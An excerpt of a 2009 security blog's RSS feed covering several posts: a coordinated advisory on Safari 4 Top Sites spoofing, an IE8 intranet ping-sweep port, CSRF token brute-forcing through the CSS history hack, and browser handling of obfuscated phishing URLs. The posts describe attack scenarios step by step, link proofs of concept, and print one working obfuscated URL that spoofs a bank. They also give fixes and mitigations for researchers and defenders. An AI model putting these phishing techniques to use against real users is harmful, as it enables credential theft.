&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Safari 4 all versions < 4.0.3<br />
Platforms affected - Mac OS X v10.4.11, Mac OS X Server v10.4.11, Mac OS X v10.5.7, Mac OS X Server v10.5.7, Windows XP and Vista</p>
<p><strong>III. BACKGROUND</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Safari is a web browser developed by Apple Inc. It is the default browser in Mac OS X v10.3 and higher. Safari for the Microsoft Windows platform first released on 11 June 2007 and currently supports both Windows XP and Windows Vista. The current stable release of the browser is 4.0.3 for Mac OS X and Windows. (Source &#8211; Wikipedia).</p>
<p>Safari 4 introduced the Top Sites feature to provide an at-a-glance view of a user&#8217;s favorite websites. It is the most hyped feature of Safari 4 and widely used by users to quickly jump to their frequently used sites which can include their banks, email accounts, shopping sites, etc.</p>
<p><strong>IV. DESCRIPTION</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
It is possible for a malicious website to place arbitrary sites into your Top Sites view through automated actions. The attack technique makes use of javascript windows where in a small window is used to repeatedly browse to different sites that the attacker wants to add in your Top Sites list. This window is completely hidden using the window.blur function and user won&#8217;t know that is happening in the background. Please note that this attack is not possible using invisible iframes as Safari does not use iframe urls to decide Top Sites content. </p>
<p>Once the attack completes execution, the small window gets closed and the next time you use Safari Top Sites, it will be have the attacker&#8217;s defined sites replace your existing legitimate sites. To make this decision of which sites to replace with, an attacker can first use the CSS History Hack found by <a href="http://jeremiahgrossman.blogspot.com/">Jeremiah Grossman</a><a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html">[2]</a> and then accordingly set fake sites relative to those user&#8217;s visited websites. Hence, this could easily facilitate a serious phishing attack. The situation is worsened by the Safari&#8217;s inadequate protection against URL obfuscation attacks as highlighted in <a href="http://securethoughts.com/2009/06/phishing-with-url-obfuscation-continues-in-safari-4">[3]</a>, which makes it almost impossible for a regular user to spot the fake site and differentiate it from a legitimate one. </p>
<p><strong>V. PROOF OF CONCEPT</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<a href="http://securethoughts.com/b/q.htm">http://securethoughts.com/b/q.htm</a><br />
The PoC currently runs in under a minute, which is based on most conservative input parameter values. </p>
<p>The two input parameters in this attack are the number of times the fake website should be visited (n)(default=28) and timeout(t)(default=2 sec) that triggers a switch between two fake websites. It is very simple and adds two fake websites for bankofamerica.com and gmail.com to your top sites. (it does not check your browser history, but that is left as an exercise for the reader <img src='http://securethoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ). Also, you might have to increase the parameter value of &#8216;n&#8217; if you visit your favorite sites very often. </p>
<p>A real-world hacking scenario would look like:</p>
<p>1. Attacker injects malicious javascript on<br />
    (a) His or her evil site OR<br />
    (b) On a legitimate site which allows javascript (e.g. bulletin boards, dashboards, etc).</p>
<p>2. Victim visits the above site.</p>
<p>3. Malicious javascript runs and first checks browser history (using CSS history hack[2]) from a list of Alexa Top 500.</p>
<p>4. Attacker replaces the user&#8217;s visited sites with fake phishing sites (makes legitimate sounding names with url obfuscation).</p>
<p>5. Every time user opens a phishing site and gets a login page, user&#8217;s credentials gets stolen. Attacker will present a login error message, asking user to try again later. At the same time, attacker will reset that phishing site back to the legitimate page. This way, user will never know what happened.</p>
<p>6. On another note, attacker can always keep atleast 1 or 2 phishing websites at all times in Top Sites. This will help the attacker to maintain persistent control of a user&#8217;s session and every time user visits a new site, it will be detected by the attacker and will be replaced by a phishing site in Top Sites.</p>

<a href="http://securethoughts.com/wp-content/gallery/security/safaritopsitesspoof.jpg" title="" class="shutterset_singlepic12" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/12__500x375_safaritopsitesspoof.jpg" alt="Apple Safari 4 Top Sites Spoofing" title="Apple Safari 4 Top Sites Spoofing" />
</a>

<p><strong>VI. FIX DESCRIPTION</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
This issue is addressed by preventing automated website visits from affecting the Top Sites list. Only websites that are manually entered in the url address bar are considered to be placed in the Top Sites view. </p>
<p><strong>VII. SOLUTION</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Upgrade to Safari 4.0.3.</p>
<p>Apple security updates are available via the Software Update mechanism:<br />
<a href="http://support.apple.com/kb/HT1338">http://support.apple.com/kb/HT1338</a></p>
<p>Apple security updates are also available for manual download via:<br />
<a href="http://www.apple.com/support/downloads/">http://www.apple.com/support/downloads/</a></p>
<p><strong>VIII. REFERENCES</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
1. Apple Security Updates<br />
<a href="http://support.apple.com/kb/HT1222">http://support.apple.com/kb/HT1222</a></p>
<p>2. Jeremiah Grossman&#8217;s CSS History Hack<br />
<a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html">http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html</a></p>
<p>3. Phishing with URL Obfuscation continues in Safari 4<br />
<a href="http://securethoughts.com/2009/06/phishing-with-url-obfuscation-continues-in-safari-4/">http://securethoughts.com/2009/06/phishing-with-url-obfuscation-continues-in-safari-4/</a></p>
<p><strong>IX. CREDITS</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
This vulnerability is discovered by<br />
Inferno (inferno {at} securethoughts {dot} com)</p>
<p><strong>XI. DISCLOSURE TIMELINE</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
May 21, 2009: Vulnerability discovered by Inferno.<br />
May 21, 2009: Apple contacted.<br />
May 21, 2009: Automated response from Apple.<br />
May 26, 2009: First response from Apple Security Team.<br />
Jun 03, 2009: First Status update provided by Apple.<br />
Jun 27, 2009: Second Status update provided by Apple.<br />
Jul 24, 2009: Coordinated public release of Advisory with Apple.<br />
Aug 11, 2009: Software Update and Public Advisory issued by Apple.</p>
<p>I would like to thank Apple Security Team for their timely responses, understanding the high severity of this issue and releasing a patch in a reasonable time period.</p>
<p>Both Chrome and Opera browsers offer similar features, but are not impacted by this vulnerability. Chrome only allows manually typed urls in the address bar to go into the &#8220;Most Visited&#8221; start page, whereas Opera requires a user to explicitly add his or her favorite web page as a speed dial entry. IE does not have this feature, so is unaffected by this.</p>
<p>I met several interesting people at BlackHat and Defcon this year from Apple, Microsoft, WhiteHat, SecTheory, McAfee, Paypal, etc. One of the folks i met was <a href="http://www.sectheory.com/bio.htm">Daniel Herrera</a> from <a href="http://www.sectheory.com/">SecTheory</a>. He told me some of the research he had been doing, one of which was a similar anomaly in Top Sites. He was very happy to know that Apple is fixing this issue. In the near future, he will share with us his cool ideas. This includes some of the vulnerabilities he is working on for Opera. </p>
<img src="http://feeds.feedburner.com/~r/securethoughts/~4/-k7V_LMWj_Y" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/08/hijacking-safari-4-top-sites-with-phish-bombs/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		<feedburner:origLink>http://securethoughts.com/2009/08/hijacking-safari-4-top-sites-with-phish-bombs/</feedburner:origLink></item>
		<item>
		<title>RSnake’s Javascript Ping Sweep Attack extended for Internet Explorer 8</title>
		<link>http://feedproxy.google.com/~r/securethoughts/~3/OZXh5woFmTA/</link>
		<comments>http://securethoughts.com/2009/07/rsnakes-javascript-ping-sweep-attack-extended-for-internet-explorer-8/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 02:36:54 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Browsers]]></category>
		<category><![CDATA[Brute Force]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[Javascript Ping Sweep]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[RSnake]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=645</guid>
		<description><![CDATA[The title speaks for itself. RSnake&#8217;s novel technique and PoC to scan intranets applied to Firefox 3.5+. I just created a working version for IE8.
For IE8: http://securethoughts.com/security/ie8xdr/ie8xdr-ping-sweep.html
For Firefox 3.5+ (Original): http://ha.ckers.org/weird/xhr-ping-sweep.html
]]></description>
			<content:encoded><![CDATA[<p>The title speaks for itself. RSnake&#8217;s novel technique and PoC to scan intranets applied to Firefox 3.5+. I just created a working version for IE8.</p>
<p>For IE8: <a href="http://securethoughts.com/security/ie8xdr/ie8xdr-ping-sweep.html">http://securethoughts.com/security/ie8xdr/ie8xdr-ping-sweep.html</a><br />
For Firefox 3.5+ (Original): <a href="http://ha.ckers.org/weird/xhr-ping-sweep.html">http://ha.ckers.org/weird/xhr-ping-sweep.html</a></p>
<img src="http://feeds.feedburner.com/~r/securethoughts/~4/OZXh5woFmTA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/07/rsnakes-javascript-ping-sweep-attack-extended-for-internet-explorer-8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://securethoughts.com/2009/07/rsnakes-javascript-ping-sweep-attack-extended-for-internet-explorer-8/</feedburner:origLink></item>
		<item>
		<title>Hacking CSRF Tokens using CSS History Hack</title>
		<link>http://feedproxy.google.com/~r/securethoughts/~3/13fTBfWL6ao/</link>
		<comments>http://securethoughts.com/2009/07/hacking-csrf-tokens-using-css-history-hack/#comments</comments>
		<pubDate>Sat, 18 Jul 2009 06:03:53 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Brute Force]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Solutions]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[Client Side Attack]]></category>
		<category><![CDATA[Cross Site Request Forgery]]></category>
		<category><![CDATA[CSS History Hack]]></category>
		<category><![CDATA[Jeremiah Grossman]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=581</guid>
		<description><![CDATA[Update: Security researchers Sirdarckcat and Gareth were kind enough to share the code for a pure CSS based CSRF token finder here . This is stealthier than my PoC below, which used a combination of both JS and CSS. So, it will still work even if you disable javascript and you are not safe anymore [...]]]></description>
			<content:encoded><![CDATA[<p><em>Update: Security researchers <a href="http://sirdarckcat.blogspot.com">Sirdarckcat</a> and <a href="http://www.thespanner.co.uk/">Gareth</a> were kind enough to share the code for a pure CSS based CSRF token finder <a href="http://eaea.sirdarckcat.net/css-sib/urlbruteforce.php">here</a> . This is stealthier than my PoC below, which used a combination of both JS and CSS. So, it will still work even if you disable javascript and you are not safe anymore <img src='http://securethoughts.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> . To make this PoC more responsive to the client, you need to use multiple CSS stylesheets using the import command. The only problem I see with this pure CSS based approach is there will be network latency involved with large key spaces because your large CSS stylesheet will need to be downloaded by your browser.</em></p>
<p>I was thinking about the problem of <a href="http://www.cgisecurity.com/csrf-faq.html">Cross Site Request Forgery</a> and current mitigation strategies used in the Industry. In many of the real world applications I have tested so far, I see the use of random tokens appended as part of url. If the request fails to provide any token or provide a token with incorrect value, then the request is rejected. This prevents CSRF or any cross domain unauthorized function execution. </p>
<p>Uptil now, it was considered infeasible for an attacker to discover your CSRF token using <a href="http://en.wikipedia.org/wiki/Brute_force_attack">Brute Force Attacks</a> on the server.</p>
<p>The reasons being:</p>
<ol>
<li>It generates <strong>lot of noise on the network and is slow.</strong> So most probably an IDS or Web App Firewall will pick up the malicious behavior and block your ip. For example, a Base16 CSRF token of length 5 characters (starting with a character) will generate approximately 393,216 requests.</li>
<li>Many applications are programmed to <strong>invalidate your session</strong> after it detects more than a certain number of requests with invalid token values. E.g. 30.</li>
</ol>
<p>I am going to change this belief by showing you a technique to quicky find csrf tokens without generating alerts. This technique is a <strong>client side attack</strong>, so there is almost no network traffic generated and hence, your server and IDS/Web App Firewalls won&#8217;t notice it at all. This attack is based on the popular <a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html">CSS History Hack</a> found by <a href="http://jeremiahgrossman.blogspot.com">Jeremiah Grossman</a> 3 years ago.</p>
<p>In this exploit, we discover the csrf token by brute forcing the various set of urls in browser history. We will try to embed different csrf token values as part of url and check if the user has visited that url. If yes, there is a good chance that the user is either using the same CSRF token in the current active session or might have used that token in a previous session. Once we have a list of all such tokens, we can just try our csrf attack on the server using that small list. Currently this attack is feasible for tokens with length of 5 characters or shorter. I tried it on a base16 string of length 5 and was able to brute force the entire key space in less than 2 minutes.</p>
<p>Some of the prerequisites for this attack to work are either</p>
<ol>
<li>CSRF token remains the same for a particular user session. e.g. csrf token=hash(session_id) OR</li>
<li>CSRF token submitted in older forms for the same session is accepted. Many times, this is the case as it enhances user experience and allows using forward and back browser buttons.</li>
</ol>
<p><strong>Proof of Concept</strong> is available <a href="http://www.securethoughts.com/security/csrfcsshistory/csrfscan.html">here</a>.<br />
Before running the PoC, you need to change the url and csrftoken paramater values. <br/><br />
For testing using the defaults, you need to first visit one of the following urls, e.g. </p>
<ol>
<li><a href="http://securethoughts.com/?param1=val1&#038;csrftoken=b59fe">http://securethoughts.com/?param1=val1&#038;csrftoken=b59fe</a> [change b59fe to any 5-digit base 16 string starting with a character, i.e.greater than a0000] </li>
<li><a href="http://tinyurl.com/l2lwgd">http://tinyurl.com/l2lwgd</a> [which is 301 redirect to previous url].<br/></li>
</ol>
<p><b><u>Note:</u></b> http://www.securethoughts.com and http://securethoughts.com are treated differently while storing in browser history.<br/><br />
A sample run will look like this &#8211; <br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/csrfcsshistory.jpg" title="" class="shutterset_singlepic14" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/14__500x375_csrfcsshistory.jpg" alt="CSRF Token using CSS History Hack" title="CSRF Token using CSS History Hack" />
</a>
<br/></p>
<p>For making this attack unfeasible, </p>
<ol>
<li><b>Server-Side Solution (for developers):</b></li>
<ul>
<li>Make your CSRF tokens long enough (8 or more chars) to be unfeasible for a CLIENT SIDE attack. The ever-increasing processing power will make this attack feasible for longer tokens as well.</li>
<li>Store your CSRF token as part of hidden form field, rather than putting in url.</li>
<li>Use a different random token for every form submission and not accept any obsolete token, even for the same session.</li>
</ul>
<li><b>Client-Side Solution (for your customers/users): </b>
<ul>
<li>Use a browser plugin such as <a href="http://www.safehistory.com/">SafeHistory</a>, which defends against visited-link-based tracking techniques.</li>
<li>Use the private browsing mode in your browser.
</ul>
</ol>
<p>And last, but not the least, XSS obliterates all the CSRF protections possible. So, get rid of XSS first. </p>
<p>I would like to thank <a href="http://jeremiahgrossman.blogspot.com/">Jeremiah</a> for providing his insightful feedback on this post.</p>
<img src="http://feeds.feedburner.com/~r/securethoughts/~4/13fTBfWL6ao" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/07/hacking-csrf-tokens-using-css-history-hack/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		<feedburner:origLink>http://securethoughts.com/2009/07/hacking-csrf-tokens-using-css-history-hack/</feedburner:origLink></item>
		<item>
		<title>Phishing with URL Obfuscation continues in Safari 4</title>
		<link>http://feedproxy.google.com/~r/securethoughts/~3/hz12VCB0Sjo/</link>
		<comments>http://securethoughts.com/2009/06/phishing-with-url-obfuscation-continues-in-safari-4/#comments</comments>
		<pubDate>Wed, 17 Jun 2009 09:08:05 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Browsers]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[Safari]]></category>
		<category><![CDATA[URL Obfuscation]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=500</guid>
		<description><![CDATA[Well it is hard to believe, but the new version of Apple&#8217;s browser &#8220;Safari 4&#8221; still continues to be vulnerable to URL obfuscation techniques. All other browser vendors, whether it is Internet Explorer, Firefox, Opera or Chrome, have fixed this issue long time ago. However, everyone had fixed this issue using completely different solutions, which [...]]]></description>
			<content:encoded><![CDATA[<p>Well it is hard to believe, but the new version of Apple&#8217;s browser &#8220;<a href="http://www.apple.com/safari/">Safari 4</a>&#8221; still continues to be vulnerable to URL obfuscation techniques. All other browser vendors, whether it is <a href="http://www.microsoft.com/windows/internet-explorer/default.aspx">Internet Explorer</a>, <a href="http://www.mozilla.com/firefox/">Firefox</a>, <a href="http://www.opera.com/">Opera</a> or <a href="http://www.google.com/chrome">Chrome</a>, have fixed this issue long time ago. However, everyone had fixed this issue using completely different solutions, which brings up the question that shouldn&#8217;t they follow a common standard ??</p>
<p>For those of you who don&#8217;t know what URL obfuscation is, it is an age old technique that phishers used to spoof legitimate websites like popular banks, etc. The phisher will send spam emails claiming to come from your bank and if you fall for the spoof, you might end up giving up your credentials. Among the popular techniques, this one I feel is the most important one as it tries to exploit link embedded authentication which is done using a url format <strong>http://username:password@evilwebsite.com</strong>. An attacker can use <strong>overly long urls</strong> to completely hide the suspicious part in your address bar which is &#8220;@evilwebsite.com&#8221; or something like &#8220;@evilwebsiteip (xx.xx.xx.xx)&#8221; with different number encoding methods.<br />
<br/><br />
For my testing, I did the following:   {Note: IP changed from last post, images have old IP}<br/><br />
1. <strong>I pasted this url in the browser&#8217;s address bar</strong><br/><br />
<textarea rows=5 cols=63 wrap=virtual>http://www.bankofamerica.com&#038;service=accountlogin&#038;sessionid=AxYghT809532AjAhklkjfldsl4380439053Xvgjy73099538309AngfldhgTYiHYojn43540538080985034LAAJKnhfdser6545342iuSA6feerhteh358fhds&#038;accessip=@174.120.41.176/~inferno/exploits/obfusurl/index.htm</textarea><br/><br />
2. <a href="http://www.bankofamerica.com&#038;service=accountlogin&#038;sessionid=AxYghT809532AjAhklkjfldsl4380439053Xvgjy73099538309AngfldhgTYiHYojn43540538080985034LAAJKnhfdser6545342iuSA6feerhteh358fhds&#038;accessip=@174.120.41.176/~inferno/exploits/obfusurl/index.htm"><strong>I hovered on this hyperlink and noticed my STATUS BAR [Window Width should be <=1024] </strong></a><br />
<br/><br />
Here are the results:<br/><br />
<strong>Safari 4.0 (530.17): </strong>Safari is vulnerable to this exploit. It does not take any steps to mitigate this problem. In the address bar, the overly long url continues to show as it is after the webpage is opened and hence a normal user is very likely to fall a prey to this phishing attack (see the image below). Also, status bar is disabled by default. Since most users don&#8217;t change the default settings, user is again more likely to fall prey when they click a hyperlink somewhere on the web. If you explicitly enabled the status bar, then you might identify the evil site. The reason being that Safari does a truncation on the long url by putting &#8220;..&#8221; in the middle, so you will see the suspicious part at the end.<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/urlobfuscation1.png" title="" class="shutterset_singlepic6" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/6__500x400_urlobfuscation1.png" alt="Url Obfuscation with Safari" title="Url Obfuscation with Safari" />
</a>
<br />
<br/><br />
<strong>Opera 9.64</strong>: Opera has some mitigation strategies to protect against this exploit. It will raise a popup alerting the user that a username is entered as part of url. The username in error message can be a little confusing to the user and ideally it should instead put the name/ip of the evil site which is a better indicator (one that Firefox uses). Another sad part is &#8220;YES&#8221; button is the default option. So if a user does not understand the message or accidently presses &#8220;ENTER&#8221; (which most people do when they see popups), they might become a victim to this phishing attack. Regarding the status bar part, when you hover over a overly long hyperlink, Opera truncates it at the end (which is bad) so you won&#8217;t see the evil site information at the end of URL.<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/urlobfuscation4.png" title="" class="shutterset_singlepic9" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/9__500x400_urlobfuscation4.png" alt="Url Obfuscation with Opera" title="Url Obfuscation with Opera" />
</a>
<br />
<br/><br />
<strong>Chrome 2.0.172.31</strong>: The obfuscated URL works in Google Chrome, however Google has taken important mitigation steps to prevent phishing altogether. The first thing they do not display the &#8220;username:password@&#8221; portion of the URL when you hover over a link. The second thing they do is they strip out the &#8220;username:password@&#8221; portion of the URL when visiting that URL, so a user clearly sees the evil site name or ip. This definitely makes the user suspicious and hence won&#8217;t fall for the exploit. The last thing they do is they convert decimal addresses to dotted quad notation.<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/urlobfuscation2.png" title="" class="shutterset_singlepic7" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/7__500x400_urlobfuscation2.png" alt="Url Obfuscation with Chrome" title="Url Obfuscation with Chrome" />
</a>
<br />
<br/><br />
<strong>Internet Explorer 7.0.5730.13: </strong>Internet Explorer stopped supporting the link based authentication url format from IE7 onwards. Moreover, if you put these long urls in hyperlinks, they won&#8217;t work even if user clicks on them. So, YES, you are not vulnerable to this exploit in IE. However, I have a concern with the error message raised &#8220;Windows cannot find &#8230;&#8221; when a user tries to access such urls. I really feel that Microsoft should improve the content of this message, as otherwise, a normal user might think that IE is not able to open such urls and might try using other browsers like Safari, where they become a prey to his phishing attack.<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/urlobfuscation3.png" title="" class="shutterset_singlepic8" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/8__500x400_urlobfuscation3.png" alt="Url Obfuscation with Internet Explorer" title="Url Obfuscation with Internet Explorer" />
</a>
<br />
<br/><br />
<strong>Firefox 3.5 Beta 4:</strong> Last, but not the least Firefox. I really like Firefox which intelligently decides the content of error messages. If your site does not support HTTP Basic Authentication, there cannot be any usecase of a user providing auth credentials. So, it raises an important message that you are being tricked. It also includes the evil site&#8217;s name or ip and confirms with you if you want to go there. Also, &#8220;NO&#8221; button is the default choice. There is almost 0% possibility of a person falling a prey to this phishing attack here. Regarding the status bar part, when you hover on a overly long hyperlink, Firefox truncates it at the end (just like Opera which is bad) so you won&#8217;t see the evil site information at the end of URL.<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/urlobfuscation5.png" title="" class="shutterset_singlepic10" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/10__500x400_urlobfuscation5.png" alt="Url Obfuscation with Firefox" title="Url Obfuscation with Firefox" />
</a>
<br />
<br/><br />
I feel that common mitigation techniques should be implemented uniformly in all browsers. If we combine the techniques used by Firefox and Chrome, we can get the best of both worlds which is to continue to support link based authentication and mitigating the security vulnerabilities arising from url obfuscation with overly long urls.</p>
<img src="http://feeds.feedburner.com/~r/securethoughts/~4/hz12VCB0Sjo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/06/phishing-with-url-obfuscation-continues-in-safari-4/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		<feedburner:origLink>http://securethoughts.com/2009/06/phishing-with-url-obfuscation-continues-in-safari-4/</feedburner:origLink></item>
	</channel>
</rss>
